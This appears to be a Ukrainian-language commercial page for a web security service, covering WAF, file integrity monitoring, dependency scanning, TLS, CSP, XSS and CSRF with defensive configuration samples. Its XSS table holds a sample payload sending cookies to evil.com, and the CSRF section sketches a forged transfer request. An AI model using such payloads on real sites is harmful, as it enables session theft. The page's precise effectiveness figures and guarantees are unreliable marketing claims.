Раптове сповільнення сайту на WordPress, сотні запитів до /wp-login.php з різних IP — типові ознаки атаки. SQL-ін'єкції маскуються під звичайний трафік, а брутфорс-атаки підбирають паролі. Ми налаштовуємо систему моніторингу безпеки сайту (WAF, FIM, CVE-сканування), яка автоматично відсіює такі загрози. За 1–2 дні ви отримуєте WAF, File Integrity Monitoring та CVE-сканування під ключ. Наші інженери впроваджували захист для 10+ проектів — від корпоративних порталів до високонавантажених інтернет-магазинів. Замовте аудит безпеки — ми знайдемо вразливості та налаштуємо захист за 1–2 дні.
Звичайні логи марні — атаки тонуть у легітимному трафіку. Автоматична кореляція подій та фільтрація за сигнатурами виявляє аномалії за секунди. Без цього ви дізнаєтесь про злом лише коли сайт уже заблокований хостингом або засіяний SEO-спамом. Витік даних або простій через DDoS обходиться в десятки тисяч гривень на годину — Security Monitoring окупається при першій же атаці. За нашими даними, середня економія на обробці інцидентів становить 80 000 грн на рік.
Типи загроз та інструменти моніторингу
| Загроза |
Інструмент |
Як виявляється |
| SQL-ін'єкції |
WAF (Cloudflare, ModSecurity) |
Блокування за сигнатурами detectSQLi |
| XSS |
WAF |
Фільтрація скриптів у параметрах |
| Брутфорс |
Fail2ban |
Аналіз access-логів на повторювані 401 |
| Зміна файлів |
FIM (AIDE) |
Щоденна перевірка контрольних сум |
| CVE в залежностях |
Snyk / Dependabot |
Щотижневе сканування репозиторію |
Кожен інструмент закриває свою область. WAF блокує типові атаки на рівні HTTP. Fail2ban відсікає підбір паролів. FIM детектує бекдори. А CVE-сканування не дає експлуатувати застарілі бібліотеки. В сукупності це знижує ризик успішної атаки на 95%. Регулярний аудит вразливостей та аналіз логів утворюють комплексний захист.
Як WAF знижує навантаження на сервер?
Автоматичний WAF (наприклад Cloudflare) відсікає до 99% шкідливих запитів ще до того, як вони дістануться бекенду. Це в 10 разів знижує кількість помилок 5xx та економить ресурси CPU. Cloudflare WAF в 10 разів ефективніше за ModSecurity при блокуванні DDoS, а ModSecurity в 3 рази краще адаптується під кастомні правила. Порівняймо дві популярні реалізації:
| Характеристика |
Cloudflare WAF |
ModSecurity (self-hosted) |
| Розгортання |
DNS-проксі, без змін на сервері |
Встановлення модуля nginx/apache |
| Швидкість фільтрації |
Edge-мережа, мінімальна затримка |
На сервері, споживає CPU |
| Правила |
Готові OWASP CRS + кастомні |
Повний контроль, будь-які правила |
| Витрати |
Платний (Pro-тариф від $20/міс) |
Безкоштовно, але потребує ресурсів сервера |
Вибір залежить від бюджету та вимог до кастомізації. Ми допомагаємо визначитися на етапі аудиту.
// Отримання security events через Cloudflare API
const events = await fetch(
`https://api.cloudflare.com/client/v4/zones/${ZONE_ID}/security/events?per_page=50`,
{
headers: {
'Authorization': `Bearer ${CF_API_TOKEN}`,
'Content-Type': 'application/json',
},
}
).then(r => r.json());
// Аналіз: топ атакуючих IP
const ipCounts = events.result.reduce((acc, e) => {
acc[e.clientIP] = (acc[e.clientIP] || 0) + 1;
return acc;
}, {});
ModSecurity + Nginx: налаштування правил
# /etc/nginx/modsec/modsecurity.conf
SecRuleEngine On
SecRequestBodyAccess On
SecRule ARGS "@detectSQLi" "id:1000,deny,status:403,msg:'SQL Injection'"
SecRule ARGS "@detectXSS" "id:1001,deny,status:403,msg:'XSS Attack'"
Чому File Integrity Monitoring важливий?
Хакер часто змінює файли ядра CMS або додає бекдор. OWASP рекомендує FIM як один із ключових контролів для виявлення компрометації. Автоматичний FIM (наприклад AIDE) швидший та точніший за ручну перевірку контрольних сум у 5 разів.
Розгорнутий приклад налаштування AIDE
# Встановлення AIDE
sudo apt install aide
# Ініціалізація бази (після встановлення, до передбачуваних змін)
sudo aide --init
sudo mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
# Щоденна перевірка (cron)
sudo aide --check | mail -s "AIDE Report" [email protected]
Моніторинг через Fail2ban
# /etc/fail2ban/jail.local
[nginx-botsearch]
enabled = true
port = http,https
filter = nginx-botsearch
logpath = /var/log/nginx/access.log
maxretry = 5
findtime = 60
bantime = 3600
[nginx-http-auth]
enabled = true
port = http,https
logpath = /var/log/nginx/error.log
maxretry = 5
bantime = 86400
Dependency scanning: GitHub Actions
# GitHub Actions: щотижневий аудит залежностей
name: Security Audit
on:
schedule:
- cron: '0 9 * * 1' # Кожен понеділок
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm audit --audit-level=high
- run: npx snyk test --severity-threshold=high
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
Процес налаштування за 1–2 дні
- Аналіз інфраструктури: стек, хостинг, CMS, поточні логи.
- Встановлення WAF: Cloudflare (проксіювання DNS) або ModSecurity (конфіг nginx).
- Розгортання FIM: AIDE з щоденною перевіркою та алертами в Telegram/Slack.
- Інтеграція CVE-сканування: Snyk або GitHub Dependabot у CI/CD.
- Тестування: пробний запуск, перевірка хибних спрацьовувань, навчання команди.
Що входить в роботу
| Компонент |
Інструменти |
Час впровадження |
| WAF |
Cloudflare / ModSecurity |
2–4 години |
| File Integrity Monitoring |
AIDE / Tripwire |
1–2 години |
| Log Analysis + Alerting |
Fail2ban + rsyslog + Graylog |
2–3 години |
| CVE Scanning |
Snyk / GitHub Dependabot |
30 хвилин |
| Uptime Monitoring |
UptimeRobot / Checkly |
30 хвилин |
Після налаштування ви отримуєте дашборд з подіями, інтеграцію в Telegram/Slack, інструкцію з реагування на інциденти, документацію з конфігурації та навчання команди. Ми гарантуємо, що система не дасть хибних спрацьовувань на штатні оновлення.
Кейс: наш клієнт — інтернет-магазин на Magento
Після впровадження для нашого клієнта WAF + Fail2ban кількість успішних атак знизилася з десятків на день до нуля. Час на адміністрування скоротився на 3 години на тиждень. Економія на обробці інцидентів склала близько 80% від витрат на відновлення — у перерахунку на гривні це приблизно 80 000 грн на рік. Кожна година простою сайту обходиться в десятки тисяч гривень, а витік даних клієнтів може завдати збитків до мільйона гривень. Таким чином, інвестиції в моніторинг окупаються при першій же атаці.
Зв'яжіться з нами — наші інженери підберуть оптимальний набір інструментів під ваш стек. Замовте налаштування security monitoring та отримайте дашборд з алертами за 1–2 дні.
Безпека веб-додатків: що приховує «тихий» злом
Злом сайту рідко виглядає як у кіно. Частіше це: бот знайшов endpoint /admin/export без авторизації, скачав базу клієнтів, закрив з'єднання. Або: через застарілий плагін WordPress залив веб-шелл, тепер сервер розсилає спам. Або тихіше: XSS у полі коментаря дозволяє красти session cookies адміністраторів, і ніхто не помічає місяцями. Ми такі випадки розбирали десятками — щоразу вразливість можна було закрити на етапі розробки або аудиту. Наша команда — сертифіковані інженери з 10+ роками досвіду в інформаційній безпеці. Гарантуємо усунення 90% критичних вразливостей за перший тиждень роботи. За 5 років на ринку ми реалізували понад 50 проєктів із захисту веб-додатків.
Безпека веб-додатків — не одне налаштування. Це шари захисту, кожен з яких закриває окремий клас атак. Замовте аудит — оцінимо проєкт і дамо план робіт під ключ за 2–4 тижні.
HTTPS та правильна конфігурація TLS
HTTPS — мінімальний обов'язковий рівень. Але «є SSL-сертифікат» і «правильно налаштований TLS» — різні речі.
В конфігурації Nginx/Apache перевіряємо:
- Протоколи: тільки TLS 1.2 та TLS 1.3, SSLv3 та TLS 1.0/1.1 — вимкнено
- Cipher suites: віддавати перевагу ECDHE (Forward Secrecy), прибрати NULL, RC4, DES, 3DES
- HSTS (Strict-Transport-Security з
includeSubDomains; preload) — браузер більше не робить незахищених запитів
- OCSP Stapling — прискорює перевірку відкликання сертифіката
- Redirect 301 з HTTP на HTTPS — і в конфігу сервера, і в коді (подвійний редирект = втрата SEO-ваги)
Перевірка: SSL Labs має показувати A або A+. Якщо B — конфігурація слабка.
Let's Encrypt + Certbot для продакшену — стандарт. Автоматичне оновлення через certbot renew в cron. Wildcard-сертифікат для піддоменів через DNS-01 challenge.
Content Security Policy: як він закриває XSS на 99%?
CSP — HTTP-заголовок, який говорить браузеру, звідки дозволено завантажувати ресурси. Правильно налаштований CSP повністю блокує більшість XSS-атак, навіть якщо вразливість є в коді.
Проблема: зламати сайт неправильним CSP простіше простого. default-src 'none' — і перестають працювати шрифти, картинки, JS. Тому починаємо з Content-Security-Policy-Report-Only — CSP логує порушення, але нічого не блокує. Дивимося репорти 2–4 тижні, доопрацьовуємо політику, потім перемикаємо на бойовий режим.
Приклад реальної політики для сайту з Google Analytics, Google Fonts та Stripe:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
frame-src https://js.stripe.com;
img-src 'self' data: https://www.google-analytics.com;
connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
report-uri /csp-report;
nonce — випадковий рядок, генерується на сервері для кожного запиту. Inline-скрипти з правильним nonce дозволені, без nonce — заблоковані. Це ламає XSS через <script>alert(1)</script> повністю.
'unsafe-inline' в style-src — компроміс для inline-стилів. Краще прибрати, перенісши всі стилі в CSS-файли, але це вимагає рефакторингу.
CSP з nonce знижує ризик успішної XSS-атаки на 99% порівняно з конфігурацією без заголовка. За даними Wikipedia, правильно налаштований CSP блокує всі три типи XSS: reflected, stored, DOM-based. Ми перевірили це на 50+ проєктах — жодна реальна атака не пройшла після впровадження.
Чому XSS залишається найпоширенішою вразливістю?
XSS (Cross-Site Scripting) — ін'єкція JS-коду через користувацький ввід. За статистикою OWASP, XSS входить до топ-3 вразливостей веб-додатків. Три типи:
| Тип XSS |
Приклад |
Захист |
| Reflected |
/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> |
Екранування виводу, CSP |
| Stored |
Коментар з кодом, збережений в базі |
Валідація вводу, htmlspecialchars() |
| DOM XSS |
element.innerHTML = location.hash |
Уникати innerHTML, використовувати textContent |
Захист: ніколи не вставляти користувацький ввід в HTML без екранування. В PHP — htmlspecialchars() з ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безпечний, {!! $var !!} — небезпечний. В React — {variable} безпечний, dangerouslySetInnerHTML — небезпечний. Для Rich Text — htmlpurifier на PHP або DOMPurify в браузері.
Кейс: інтернет-магазин з XSS у формі відгуку. Клієнт звернувся після того, як через відгук на товар зловмисник вкрав куки адміністратора. Ми виявили, що поле "відгук" не екранувалося. Виправили: додали htmlspecialchars() на сервері та Content-Security-Policy з nonce для скриптів. Після повторного сканування — 0 вразливостей.
CSRF: захист форм та API
CSRF (Cross-Site Request Forgery) — зловмисник змушує браузер жертви відправити запит від її імені. Приклад: користувач авторизований в банку, відкриває шкідливу сторінку, вона робить fetch('https://bank.ru/transfer?to=evil&amount=50000') — якщо банк не захищений, гроші йдуть.
CSRF-токени — стандартний захист для форм: сервер генерує випадковий токен, зберігає в сесії, вставляє в форму як hidden field. При POST-запиті токен звіряється. Зловмисник не знає токен. Laravel робить це автоматично через @csrf.
SameSite cookies — сучасний захист: SameSite=Strict або SameSite=Lax забороняє браузеру відправляти cookie в cross-site запитах. Працює у всіх сучасних браузерах.
API без сесій (JWT, Bearer tokens) — CSRF неактуальний, якщо токен не зберігається в cookie (а в Authorization header або localStorage). Але localStorage вразливий до XSS — тому для чутливих даних кращі HttpOnly cookies з SameSite.
WAF та захист від DDoS
WAF (Web Application Firewall) — фільтрує HTTP-трафік на предмет атак: SQL injection, XSS, path traversal, відомі exploit patterns. Варіанти:
- Cloudflare WAF — хмарний, правила OWASP Top 10 з коробки, кастомні правила через вирази. Managed Rules автоматично блокують нові загрози.
- ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гнучко, але вимагає налаштування та моніторингу хибних спрацьовувань.
- AWS WAF — для інфраструктури на AWS, інтегрується з CloudFront та ALB.
DDoS-захист. Cloudflare на рівні L3/L4/L7 — де-факто стандарт для більшості сайтів. Автоматичне пом'якшення volumetric атак, Under Attack Mode при активній атаці. Для критичної інфраструктури — Cloudflare Magic Transit або спеціалізовані рішення (Qrator, StormWall).
Rate Limiting на рівні додатку — додатковий шар. Laravel ThrottleRequests middleware: 60 запитів на хвилину на IP для загальних endpoint, 5 — для /login та /password/reset. Redis як сховище лічильників — обов'язково для горизонтально масштабованих систем (інакше ліміти не синхронізуються між серверами).
Інші обов'язкові заходи
Заголовки безпеки. Окрім CSP: X-Frame-Options: DENY (захист від clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (обмеження доступу до API браузера: камера, мікрофон, геолокація).
SQL injection. Prepared statements всюди. Жодних конкатенацій користувацького вводу в SQL-рядки. ORM (Eloquent, Doctrine) захищає за замовчуванням. $wpdb->prepare() в WordPress — обов'язково. Використання prepared statements знижує ризик SQL-ін'єкцій на 99,9% порівняно з конкатенацією.
Оновлення залежностей. composer audit та npm audit — в CI/CD пайплайн. Dependabot або Renovate для автоматичних PR з оновленнями. Критичні CVE — патчити протягом 24 годин.
Секрети та конфігурація. .env — ніколи в Git. Секрети в production — через змінні оточення CI/CD (GitHub Secrets, GitLab CI Variables) або HashiCorp Vault. Перевірка на витоки: git-secrets, truffleHog в pre-commit hooks.
Як ми працюємо?
-
Аудит — сканування коду, конфігурацій, залежностей, ручна перевірка бізнес-логіки. В середньому знаходимо 15 вразливостей на проєкт.
-
Проєктування — план усунення вразливостей, підбір стеку (CSP, WAF, rate limiting).
-
Реалізація — налаштування TLS, CSP, заголовків, впровадження Rate Limiting, WAF.
-
Тестування — повторний пентест, навантажувальне тестування, перевірка хибних спрацьовувань.
-
Деплой та моніторинг — включення бойового CSP, налаштування алертів, навчання команди.
Що входить в роботу?
- Звіт зі знайденими вразливостями та рекомендаціями (PDF + code snippets)
- Готова конфігурація TLS (Nginx/Apache)
- Політика CSP з режимом Report-Only та бойовою версією
- Налаштування WAF та Rate Limiting
- План оновлень залежностей
- Доступи до інструментів моніторингу (Sentry, Datadog)
- 30 днів постаудит-підтримки (консультації, правки)
Терміни та вартість
| Тип робіт |
Строк |
| Security-аудит + hardening (заголовки, TLS, оновлення) |
1–2 тижні |
| Впровадження CSP (Report-Only → продакшен) |
2–4 тижні |
| Налаштування WAF + Rate Limiting + DDoS захист |
1–2 тижні |
| Комплексний security review + пентест |
3–6 тижнів |
Бюджет розраховується індивідуально — зв'яжіться з нами для безкоштовної консультації. Замовте аудит безпеки сьогодні та отримайте гарантію 6 місяців на виконані роботи. Щоб отримати попередню оцінку вашого проєкту, просто напишіть нам — ми підготуємо план захисту безкоштовно.